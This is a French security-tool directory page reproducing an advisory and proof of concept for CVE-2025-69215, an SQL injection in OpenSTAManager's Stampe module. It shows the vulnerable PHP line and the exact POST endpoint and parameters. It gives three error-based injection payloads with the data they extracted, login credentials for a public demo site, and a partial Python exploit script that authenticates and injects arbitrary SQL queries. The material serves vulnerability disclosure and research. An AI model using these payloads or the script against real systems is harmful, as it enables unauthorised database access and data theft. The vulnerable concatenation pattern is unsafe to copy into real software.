Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-69215 — CVE-2025-69215 - OpenSTAManager présente une injection SQL dans le module Stampe. | Kitploit
Outils/GitHubGitHub/lukasz-rybak/cve-2025-69215
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de Données
GitHublukasz-rybak/cve-2025-69215

CVE-2025-69215

CVE-2025-69215 - OpenSTAManager présente une injection SQL dans le module Stampe.

Voir le dépôt
10il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-69215 : OpenSTAManager présente une injection SQL dans le module Stampe

Aperçu

ChampDétails
ID CVECVE-2025-69215
GravitéÉLEVÉE
Avis de sécuritéVoir l'avis de sécurité
Découvert parLukasz Rybak

Produits concernés

  • devcode-it/openstamanager (versions : <= 2.9.8)

Classification CWE

  • CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL ('Injection SQL')

Détails

Détails de la vulnérabilité

Emplacement

  • Fichier : modules/stampe/actions.php
  • Ligne : 26
  • Code vulnérable :
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }

Cause racine

Le paramètre module provenant des données POST est directement concaténé dans une requête SQL UPDATE sans utiliser la fonction de neutralisation prepare(). Alors que le paramètre predefined est validé avec intval(), le paramètre module ne dispose que d'un contrôle !empty(), ce qui n'empêche PAS l'injection SQL.

Modèle vulnérable :

// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // Line 26: Direct concatenation - VULNERABLE
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}

Exploitation

Endpoint vulnérable

POST /modules/stampe/actions.php

Paramètres requis

op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf

Exigence d'authentification

  • Nécessite une session authentifiée valide (tout utilisateur ayant accès au module Stampe)
  • VÉRIFIÉ : Les utilisateurs disposant de l'accès au groupe « Tecnici » peuvent exploiter la faille (PAS réservé aux administrateurs !)
  • PoC : Démo sur https://demo.osmbusiness.it avec les identifiants tecnico/tecnicotecnico

Type d'exploitation

Injection SQL basée sur les erreurs utilisant les fonctions MySQL EXTRACTVALUE/UPDATEXML/GTID_SUBSET

Preuve de concept

Méthode 1 : EXTRACTVALUE (MySQL 5.1+)

POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf

Résultat :

image

Données extraites : version MySQL 8.3.0


Méthode 2 : GTID_SUBSET (MySQL 5.6+)

module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)

Résultat :

image

Données extraites : nom de la base de données openstamanager


Méthode 3 : UPDATEXML (MySQL 5.1+)

module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)

Résultat :

image

Données extraites : utilisateur de la base de données [email protected]


Exploitation automatisée

Script d'exploitation complet : exploit_stampe_sqli.py

#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""

import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin

class StampeSQLiExploit:
    def __init__(self, base_url, username, password, verbose=False):
        self.base_url = base_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
        })

    def login(self):
        """Authenticate with username and password"""
        login_url = urljoin(self.base_url, '/index.php')

        if self.verbose:
            print(f"[DEBUG] Attempting login to {login_url}")
            print(f"[DEBUG] Username: {self.username}")

        # First, get the login page to establish session
        resp = self.session.get(login_url)
        if self.verbose:
            print(f"[DEBUG] Initial GET status: {resp.status_code}")

        # Send login credentials with op=login parameter (required!)
        login_data = {
            'username': self.username,
            'password': self.password,
            'op': 'login',  # Required for OpenSTAManager
        }

        resp = self.session.post(login_url, data=login_data, allow_redirects=True)

        if self.verbose:
            print(f"[DEBUG] Login POST status: {resp.status_code}")
            print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")

        # Check if login was successful
        if 'PHPSESSID' not in self.session.cookies:
            print("[-] Login failed: No session cookie received")
            return False

        # Check if we're redirected to dashboard or still on login page
        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
            print("[-] Login failed: Still on login page")
            if self.verbose:
                print(f"[DEBUG] Current URL: {resp.url}")
            return False

        print(f"[+] Successfully logged in as '{self.username}'")
        print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
        return True

    def inject(self, sql_query):
        """Execute SQL injection payload"""
        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
        payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"

        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')

        if self.verbose:
            print(f"[DEBUG] Target: {target_url}")
            print(f"[DEBUG] Payload: {payload}")

        response = self.session.post(
            target_url,
            data={
                "op": "update",
                "id_record": "1",
                "predefined": "1",
                "module": payload,
                "title": "Test",
                "filename": "test.pdf"
            }
        )

        if self.verbose:
            print(f"[DEBUG] Response status: {response.status_code}")
            print(f"[DEBUG] Response length: {len(response.text)}")

        # Unescape HTML entities first
        response_text = unescape(response.text)

        # Pattern 1: XPATH syntax error with HTML entities or quotes
        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
        xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
        if xpath_match:
            result = xpath_match.group(1)
            if self.verbose:
                print(f"[DEBUG] Extracted via XPATH pattern: {result}")
            return result
Télécharger l’outil